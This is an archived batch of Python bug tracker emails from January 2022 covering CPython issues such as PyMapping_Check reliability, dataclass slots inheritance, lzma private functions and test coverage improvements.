[issue46384] Request: make lzma._(encode|decode)_filter_properties public Message-ID: <1642213506.86.0.00175227794974.issue46384@roundup.psfhosted.org> New submission from Hiroshi Miura : py7zr 3rd party project that use lzma module to compress/decompress 7-zip archive uses lzma._(encode|decode)_filter_properties. These methods are public at first but become private in py3.4 at commit a425c3d5a264c556d31bdd88097c79246b533ea3 Here is a reason described in commit comment > These functions were originally added to support LZMA compression in the zipfile module, and are not of interest for the majority of users. This is a request these methods to be public. ref: py7zr: https://github.com/miurahr/py7zr ---------- components: Library (Lib) messages: 410615 nosy: miurahr priority: normal severity: normal status: open title: Request: make lzma._(encode|decode)_filter_properties public type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 21:50:23 2022 From: report at bugs.python.org (Devin Harper) Date: Sat, 15 Jan 2022 02:50:23 +0000 Subject: [issue46385] Remove parenthetical symbols for readability and nlp Message-ID: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> New submission from Devin Harper <345trig at gmail.com>: Parenthetical symbols like ()[]{} are unneeded if you just remove the complaining in the compiler/interpreter/programming language. It will increase readability and natural language programming( NLP). Just treat the symbols as strings and optional even for lists removing tuples. Tuples are unneeded too. Lists have everything tuples have and more. ---------- components: Tests messages: 410616 nosy: 345trig priority: normal severity: normal status: open title: Remove parenthetical symbols for readability and nlp type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 22:02:44 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 15 Jan 2022 03:02:44 +0000 Subject: [issue46385] Remove parenthetical symbols for readability and nlp In-Reply-To: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> Message-ID: <1642215764.5.0.442069013849.issue46385@roundup.psfhosted.org> Dennis Sweeney added the comment: "Removing tuples" would be highly backwards-incompatible, as millions of programs rely on tuples, and we can't break them for no reason. > Lists have everything tuples have and more. Not true: tuples are hashable, so they can be used as keys in dicts and sets, while lists cannot. The Python-Ideas mailing list, rather than this bug tracker, is probably a better location for these sorts of proposals, so I'll close this for now, but this ticket can be re-opened if you can arrive at some sort of consensus with others on that list. ---------- nosy: +Dennis Sweeney resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 23:01:14 2022 From: report at bugs.python.org (Bar Harel) Date: Sat, 15 Jan 2022 04:01:14 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642219274.15.0.297196663217.issue46376@roundup.psfhosted.org> Bar Harel added the comment: Another question we should ask is about duck typing. Is a sequence which doesn't inherit from abc.Sequence considered a sequence? Whatever the answer is, PySequence specifically looks for a sequence and removes duck typing out of the picture. The object will not pass static typing and will not pass isinstance check, so there's no reason for it to pass PySequence. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 23:34:42 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 04:34:42 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642221282.36.0.436774763679.issue46376@roundup.psfhosted.org> Raymond Hettinger added the comment: > It changes behavior for objects not being iterable/sequences > if not inheriting from `abc.collections.Sequence`. This would be a breaking change (for example, it broke the long stable sre_parse code). The utility of PySequence_Check and PyMapping_Check is already so low that it isn't work breaking other things to just to marginally improve these two minor and rarely used functions. These functions will never be fully reliable. The documentation explains that in general, we can't tell if a class with __getitem__ is a mapping or a sequence. Sometimes hints are present (such as the tp_flags), but the can't get a reliable result. As Guido observed, "calling PyMapping_Check() was never particularly reliable, and extension modules depending on it probably always had subtle bugs." That was true in 2011 and it is still true today. I recommend closing this. These functions are mostly unimportant and unreliable and cannot be made correct. In contrast, iterability is important and needs to be stable. Special cases aren't important enough to break the rules. ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 23:54:41 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 15 Jan 2022 04:54:41 +0000 Subject: [issue46385] Remove parenthetical symbols for readability and nlp In-Reply-To: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> Message-ID: <1642222481.53.0.87226476329.issue46385@roundup.psfhosted.org> Steven D'Aprano added the comment: Dennis beat me to it in saying that tuples cannot be replaced by lists. But I also wanted to say that it is *not true* that removing bracket symbols would increase readability. Natural language allows parenthetical phrases -- which can be bracketed using dashes (or with parentheses [commonly called round brackets in the British commonwealth]) or even commas -- so even in natural language they are used. Even programming languages which are much, much closer to natural language than Python, like Hypertalk and Inform-7, use parentheses and delimiters for various purposes, for example: http://inform7.com/book/WI_21_3.html Ultimately, we simply can't remove brackets (square, round or curly) from the language. It would make it impossible to tell whether func(1, 2, 3, 4, 5) was a call to func() with 5 integer arguments, or a single 5-element list argument, or two 2-element lists and an integer, or three integers and a 2-element list, etc. So don't waste your time taking this proposal to Python-Ideas. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:00:37 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 05:00:37 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642222837.86.0.23583870353.issue46376@roundup.psfhosted.org> Raymond Hettinger added the comment: s/it isn't work breaking other things/it isn't worth breaking other things/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:10:02 2022 From: report at bugs.python.org (Inada Naoki) Date: Sat, 15 Jan 2022 05:10:02 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642223402.0.0.811155455557.issue46376@roundup.psfhosted.org> Inada Naoki added the comment: collections.abc.Mapping is fixed by https://bugs.python.org/issue43977 We can be same thing if backward compatibility allows it. ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:24:30 2022 From: report at bugs.python.org (Devin Harper) Date: Sat, 15 Jan 2022 05:24:30 +0000 Subject: [issue46385] Remove parenthetical symbols for readability and nlp In-Reply-To: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> Message-ID: <1642224270.16.0.407470886509.issue46385@roundup.psfhosted.org> Devin Harper <345trig at gmail.com> added the comment: Couldn't find that mailing list sorry. There's only 1 for developers like you. Removing tuples would be backwards compatible. My plan would automatically convert tuples to lists. Just keep all the list code besides parenthetical symbols. Merge tuple and list code besides parenthetical symbols if you have to. You can hash 1 item lists. I do believe in keeping commas to delineate items on a list. Commas are used in natural language lists not parenthetical symbols. Just because natural language programming languages don't have natural language perfected yet doesn't mean we shouldn't perfect it in python 1st. Of course natural language is easier to read and understand than this bug. Why did you say it's not easier? You didn't say yet. I already tested tuples to confirm your other concern applies to them but not lists. I said keep list code. The mitigation for that tuple confusion is probably in there. Because lists don't have that problem. I never said get rid of lists. I only said get rid of parenthetical symbol complaints. It will just work with hard science. Just test it. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:36:01 2022 From: report at bugs.python.org (Bar Harel) Date: Sat, 15 Jan 2022 05:36:01 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642224961.25.0.223382929214.issue46376@roundup.psfhosted.org> Bar Harel added the comment: I thought about it, what about simply excluding TPFLAGS_MAPPING from PySequence and TPFLAGS_Sequence from PyMapping? It will remove the types that are 100% not sequences or mappings, as these flags are mutually exclusive by definition. The result will be much more accurate, yet not cause a breaking change, apart from places where it is truly not a sequence or mapping. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:43:50 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 15 Jan 2022 05:43:50 +0000 Subject: [issue46385] Remove parenthetical symbols for readability and nlp In-Reply-To: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org> Message-ID: <1642225430.67.0.898770436869.issue46385@roundup.psfhosted.org> Steven D'Aprano added the comment: Please don't reopen this issue. If you really want to take it to the Python-Ideas mailing list, you can: https://mail.python.org/mailman3/lists/python-ideas.python.org/ or to Discuss: https://discuss.python.org/c/ideas/6 ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 00:56:09 2022 From: report at bugs.python.org (John Millikin) Date: Sat, 15 Jan 2022 05:56:09 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642226169.9.0.267299402817.issue46376@roundup.psfhosted.org> Change by John Millikin : ---------- nosy: -jmillikin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 02:11:20 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 07:11:20 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642230680.07.0.45108869154.issue46376@roundup.psfhosted.org> Raymond Hettinger added the comment: > what about simply excluding TPFLAGS_MAPPING from PySequence > and TPFLAGS_Sequence from PyMapping? It will remove the types > that are 100% not sequences or mappings, as these flags > are mutually exclusive by definition. This is more plausible than the proposed breaking change. > The result will be much more accurate If they can't be made fully reliable, why would we ever recommend that someone use these functions in real code? They can be made to guess better than they guess now, but there is still guesswork. ISTM developers should follow the structure pattern matching implementation and refuse the temptation to guess. If a class declares itself as a mapping or sequence, that is reliable information. In contrast, these functions attempt to divine meaning in the absence of a clear declaration. Using these functions will likely result in subtle bugs. Once Py_TPFLAGS_MAPPING and Py_TPFLAGS_SEQUENCE became available, we should have deprecated these functions. No one should use them anymore. Their core design is flawed; they tried to deduce semantics from structural artifacts. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 02:32:17 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 07:32:17 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642231937.64.0.951543035928.issue46376@roundup.psfhosted.org> Raymond Hettinger added the comment: Here's question to focus on: In what circumstances should a developer ever prefer PyMapping_Check() over PyType_HasFeature() with Py_TPFLAGS_MAPPING? The latter doesn't give any new, useful information: return o && Py_TYPE(o)->tp_as_mapping && Py_TYPE(o)->tp_as_mapping->mp_subscript; I don't see any reason to build on top of this. It's best to just let it go gently into the good night without disrupting anything that currently happens to work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 02:33:17 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Sat, 15 Jan 2022 07:33:17 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642231997.35.0.203409722311.issue46382@roundup.psfhosted.org> Arie Bovenberg added the comment: There are already 2 complexities I can think of: 1. This behavior may break some people's code, if they use __slots__ to iterate over the fields of a dataclass. Solution: explicitly mention in the docs that not every field may get a slot on the new class. Advise them to use `fields()` to iterate over the fields. 2. It's technically allowed for __slots__ to be an iterator (which will then be exhausted at class creation). Finding the __slots__ of such a class may require more elaborate introspection. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 02:35:30 2022 From: report at bugs.python.org (Ziga Seilnacht) Date: Sat, 15 Jan 2022 07:35:30 +0000 Subject: [issue32696] Fix pickling exceptions with multiple arguments In-Reply-To: <1517156155.35.0.467229070634.issue32696@psf.upfronthosting.co.za> Message-ID: <1642232130.42.0.194605822608.issue32696@roundup.psfhosted.org> Change by Ziga Seilnacht : ---------- nosy: -zseil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 03:19:35 2022 From: report at bugs.python.org (Aviram) Date: Sat, 15 Jan 2022 08:19:35 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642234775.16.0.426433087193.issue46376@roundup.psfhosted.org> Aviram added the comment: I agree that a developer should and would prefer the `Py_TPFLAGS_*` but when you visit https://docs.python.org/3/c-api/sequence.html It seems like the best practice to determine Sequence protocol is by using this function, hence leading to confusion. There's no recommendation to use the new `Py_TPFLAGS_*`. To have this knowledge of `Py_TPFLAGS_*` one should be very knowledgable in Python's C-API. How about adding a deprecation note to `PyMapping_Check` & `PySequence_Check` in the documentation, suggesting the alternative path (to use `PyType_HasFeature`)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 03:23:19 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 08:23:19 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642234999.47.0.344704948814.issue46382@roundup.psfhosted.org> Nikita Sobolev added the comment: Arie, can you please explain what is the technical difference between these two cases: ```python class A: __slots__ = ('a', ) # fields class B(A): __slots__ = ('a', 'b') # fields ``` And: ```python class C: __slots__ = ('a', ) # fields class D(C): __slots__ = ('b', ) # fields ``` ? ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 03:52:27 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 08:52:27 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642236747.47.0.329922309384.issue46383@roundup.psfhosted.org> Christian Heimes added the comment: New changeset cfbde65df318eea243706ff876e5ef834c085e5f by Christian Heimes in branch 'main': bpo-46383: Fix signature of zoneinfo module_free function (GH-30607) https://github.com/python/cpython/commit/cfbde65df318eea243706ff876e5ef834c085e5f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 03:52:31 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 15 Jan 2022 08:52:31 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642236751.4.0.748063703798.issue46383@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28812 pull_request: https://github.com/python/cpython/pull/30610 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 03:52:56 2022 From: report at bugs.python.org (Bar Harel) Date: Sat, 15 Jan 2022 08:52:56 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642236776.63.0.841515965946.issue46376@roundup.psfhosted.org> Bar Harel added the comment: @rhettinger I completely understand what you're saying and at first I agreed with you. Before I gave it a closer look, I thought about the same thing - we want reliability. Reliability is important and will avoid subtle bugs, which is why I was against this change for the exact reasons you mentioned: it is both breaking and unreliable. I then realized that this change can be a reliable replacement for isinstance(obj, collections.abc.Sequence) at the C level. Let's use the broken sre_parse.SubPattern as an example - it does not register or inherit from collections.abc.Sequence, and isinstance(SubPattern, collections.abc.Sequence) == False. We cannot know programmatically if SubPattern is a Sequence, we cannot type hint it as such, and apart from reading the documentation, we cannot deal with the type differently in dynamic code that accepts either sequences or mappings. I dare to say, counting on it being a sequence, especially on a LBYL language like C is even less reliable. While SubPattern "embraces" the spirit of duck typing, it is very hard to fit in light of all recent changes advocating for a more structured and well defined types. After all, this feature was requested in order to solve reliability issues in statically typed languages. Putting everything aside, the grand question still remains: do you think that there's a use for an efficient C-API isinstance check for Sequences and Mappings? I would presume the answer is yes. Would we encourage it? I have no clue. But if there's a need, we can either change this function as it has the same "spirit" or introduce a new one to prevent breaking existing code. To answer your question: per specification, testing for Py_TPFLAGS_SEQUENCE using PyType_HasFeature, does not take strings, bytes and bytearray into consideration, and will not suffice. It is an incorrect solution that is even less reliable and falls into the exact pitfall of "guesswork" (for example SubPattern currently doesn't work with it either). It is not encouraged or easily thought of. PySequence_Check which is much more intuitive yet doesn't work either and that's where fixing it can have an edge. A theoretical `PyIsInstance_Sequence` can check for TPFLAGS_SEQUENCE and Str/Bytes/ByteArray_Check. If I'm not wrong, doing so will be 100% reliable, identical to isinstance(obj, Sequence), and will be very efficient. As a side-note, the C-API documentation for TP_FLAGS is not clear atm. It mentions for example tp_as_sequence and says "if such a flag bit is clear, the type fields it guards must not be accessed and must be considered to have a zero or NULL value instead" yet Py_TPFLAGS_SEQUENCE does not actually coincide with sequences per specification. I know it has a different explanation as well and the flag has its own docstring, but it is still a bit misleading. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:26:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 09:26:58 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642238818.95.0.417982140971.issue29964@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: works for me -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:27:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 09:27:37 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642238857.5.0.333466173852.issue20281@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:28:31 2022 From: report at bugs.python.org (Bar Harel) Date: Sat, 15 Jan 2022 09:28:31 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642238911.49.0.547361734883.issue46376@roundup.psfhosted.org> Bar Harel added the comment: > That was true in 2011 and it is still true today Python's methodology greatly shifted since 2011. For the better or worse, Python lost some of its duck typing. Nowadays, most people use linters. Wherever you'd try to pass sre_parse.SubPattern, the linter will throw an error saying it's not a Sequence even if it fully behaves like one. You can silence that error but you'll continue receiving such warnings all over the code, whether in stdlib or out in the wild. The meaning of Sequence now shifted to "inherits from abc.Sequence". The only thing wrong with PySequence_Check is that the ecosystem shifted, but its view of a Sequence remained the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:35:42 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 15 Jan 2022 09:35:42 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642239342.41.0.390918845956.issue46383@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 nosy_count: 3.0 -> 4.0 pull_requests: +28813 pull_request: https://github.com/python/cpython/pull/30611 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:50:34 2022 From: report at bugs.python.org (Yassir Karroum) Date: Sat, 15 Jan 2022 09:50:34 +0000 Subject: [issue43741] http.client leaks from self.fp.read() In-Reply-To: <1617695018.24.0.921353674575.issue43741@roundup.psfhosted.org> Message-ID: <1642240234.29.0.83205926938.issue43741@roundup.psfhosted.org> Yassir Karroum added the comment: Hi Hynkek, Thanks for the bug report. I'll change the type category to "resource usage", since "crash" is typically reserved for issues where python crash (for exemple due to a seg fault). Can you also provide a minimal code to check your issue ? Where ideally all the parameters are fixed (as the url). ---------- nosy: +ukarroum type: crash -> resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:56:43 2022 From: report at bugs.python.org (Yassir Karroum) Date: Sat, 15 Jan 2022 09:56:43 +0000 Subject: [issue6686] xml.sax.xmlreader.XMLReader.getProperty (xml.sax.handler.property_xml_string) returns bytes In-Reply-To: <1250018393.94.0.435666063731.issue6686@psf.upfronthosting.co.za> Message-ID: <1642240603.58.0.498932062002.issue6686@roundup.psfhosted.org> Change by Yassir Karroum : ---------- nosy: +ukarroum nosy_count: 7.0 -> 8.0 pull_requests: +28814 pull_request: https://github.com/python/cpython/pull/30612 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:58:09 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 15 Jan 2022 09:58:09 +0000 Subject: [issue46258] Minor algorithmic improvements for math.isqrt In-Reply-To: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org> Message-ID: <1642240689.15.0.833001076472.issue46258@roundup.psfhosted.org> Mark Dickinson added the comment: New changeset d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5 by Mark Dickinson in branch 'main': bpo-46258: Streamline isqrt fast path (#30333) https://github.com/python/cpython/commit/d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 04:58:40 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 15 Jan 2022 09:58:40 +0000 Subject: [issue46258] Minor algorithmic improvements for math.isqrt In-Reply-To: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org> Message-ID: <1642240720.8.0.376725448967.issue46258@roundup.psfhosted.org> Change by Mark Dickinson : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:08:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:08:28 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` Message-ID: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems with this test: https://github.com/python/cpython/blob/d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5/Lib/test/test_typing.py#L2130 1. It does not test all `pickle` protocols 2. It does not test newly added `ParamSpec` (probably others, I will double check) 3. It does not clean up `global TP, TPB, TPV` I will send a PR for this :) ---------- components: Tests messages: 410636 nosy: sobolevn priority: normal severity: normal status: open title: Improve `test_typing::test_immutability_by_copy_and_pickle` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:14:23 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 15 Jan 2022 10:14:23 +0000 Subject: [issue45447] IDLE: Support syntax highlighting for .pyi stub files In-Reply-To: <1634052276.56.0.989526823091.issue45447@roundup.psfhosted.org> Message-ID: <1642241663.02.0.796422886163.issue45447@roundup.psfhosted.org> Alex Waygood added the comment: @terry, have you had a chance to glance at my PR at all? I'd really appreciate your review! :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:15:21 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 15 Jan 2022 10:15:21 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642241721.27.0.580263605596.issue46386@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:17:24 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:17:24 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642241844.57.0.317051266681.issue46386@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28816 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30613 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:22:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:22:39 +0000 Subject: [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols Message-ID: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this test does not test all pickle protocols: https://github.com/python/cpython/blob/d02c5e9b55a8651b7d396ac3f2bdedf1fc1780b5/Lib/test/test_collections.py#L680-L682 But, I guess that it should, like all other tests do. PR is on its way. ---------- components: Tests messages: 410638 nosy: sobolevn priority: normal severity: normal status: open title: `test_field_descriptor` in `test_collections` should test all pickle protocols type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:23:38 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 15 Jan 2022 10:23:38 +0000 Subject: [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols In-Reply-To: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> Message-ID: <1642242218.71.0.182456978877.issue46387@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:23:51 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 15 Jan 2022 10:23:51 +0000 Subject: [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols In-Reply-To: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> Message-ID: <1642242231.57.0.755572223321.issue46387@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28817 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30614 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:36:45 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 10:36:45 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642243005.88.0.381185882285.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28818 pull_request: https://github.com/python/cpython/pull/30615 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:55:47 2022 From: report at bugs.python.org (Russel Webber) Date: Sat, 15 Jan 2022 10:55:47 +0000 Subject: [issue46388] Improve test coverage of functools.total_ordering Message-ID: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> New submission from Russel Webber : A few lines of the functools.total_ordering implementation are not covered by the tests. Specifically, coverage.py shows the returns of NotImplemented: ... if op_result is NotImplemented: return op_result ... as not covered in the functions: _gt_from_lt, _ge_from_le, _lt_from_le, _lt_from_gt, _le_from_ge and _gt_from_ge I have a PR for this. ---------- components: Tests messages: 410639 nosy: RusselWebber, rhettinger priority: normal severity: normal status: open title: Improve test coverage of functools.total_ordering type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 05:57:45 2022 From: report at bugs.python.org (Spencer Brown) Date: Sat, 15 Jan 2022 10:57:45 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642244265.0.0.280361391634.issue46133@roundup.psfhosted.org> Spencer Brown added the comment: There is a solution to this: you can modify the linecache module's cache to add lines under a fake filename, which is the approach attrs takes here: https://github.com/python-attrs/attrs/blob/9727008fd1e40bc55cdc6aee71e0f61553f33127/src/attr/_make.py#L347 However, there are several downsides. - That dict isn't documented or appears in __all__, so it's arguably private. - The C implementation of traceback printing opens files directly, so this doesn't work there. - You have to invent a unique filename, and manually remove lines from the cache if the function is later deleted. This does affect both namedtuple and dataclasses, though it's probably not too important given how straightforward the generated code they produce is. ---------- nosy: +Spencer Brown _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 06:05:34 2022 From: report at bugs.python.org (Spencer Brown) Date: Sat, 15 Jan 2022 11:05:34 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642244734.54.0.778009148514.issue46382@roundup.psfhosted.org> Spencer Brown added the comment: Both will function, but class B will add its slots after A's, causing there to be an extra unused slot in the object that you can only access by directly using the A.a descriptor. So all slotted inheriting dataclasses cause the object to use more memory than necessary. ---------- nosy: +Spencer Brown _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 06:13:08 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 15 Jan 2022 11:13:08 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642245188.51.0.537059175183.issue46382@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 06:17:31 2022 From: report at bugs.python.org (Russel Webber) Date: Sat, 15 Jan 2022 11:17:31 +0000 Subject: [issue46388] Improve test coverage of functools.total_ordering In-Reply-To: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> Message-ID: <1642245451.81.0.597137551785.issue46388@roundup.psfhosted.org> Change by Russel Webber : ---------- keywords: +patch pull_requests: +28819 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30616 